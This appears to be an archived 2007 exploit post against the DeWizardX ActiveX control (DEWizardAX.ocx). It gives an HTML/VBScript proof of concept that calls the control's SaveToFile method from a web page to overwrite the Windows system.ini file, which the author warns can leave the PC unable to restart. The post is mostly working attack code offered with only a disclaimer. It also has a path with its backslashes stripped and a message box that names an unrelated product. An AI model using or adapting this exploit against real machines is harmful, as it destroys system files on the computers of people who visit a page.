dewizardx-overwrite.txt
Posted on 17 May 2007
<pre> <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/15</b></p></span> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">----------------------------------------------------------------------------------- <b>DB Software Laboratory DeWizardX (DEWizardAX.ocx) Remote Arbitrary File Overwrite</b> url: http://www.dbsoftlab.com price: $100 author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not be responsible for any damage. <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b> Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 all software that use this ocx are vulnerable to these exploits. ----------------------------------------------------------------------------------- <object classid='clsid:90403303-EF21-4771-A41A-651089892EDD' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language='vbscript'> Sub tryMe On Error Resume Next Dim MyMsg If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _ "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _ "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _ " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _ " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then test.SaveToFile "c:windowssystem_.ini" MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode") Else MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/15 - DB Software Laboratory") End If End Sub </script> </span></span> </code></pre>
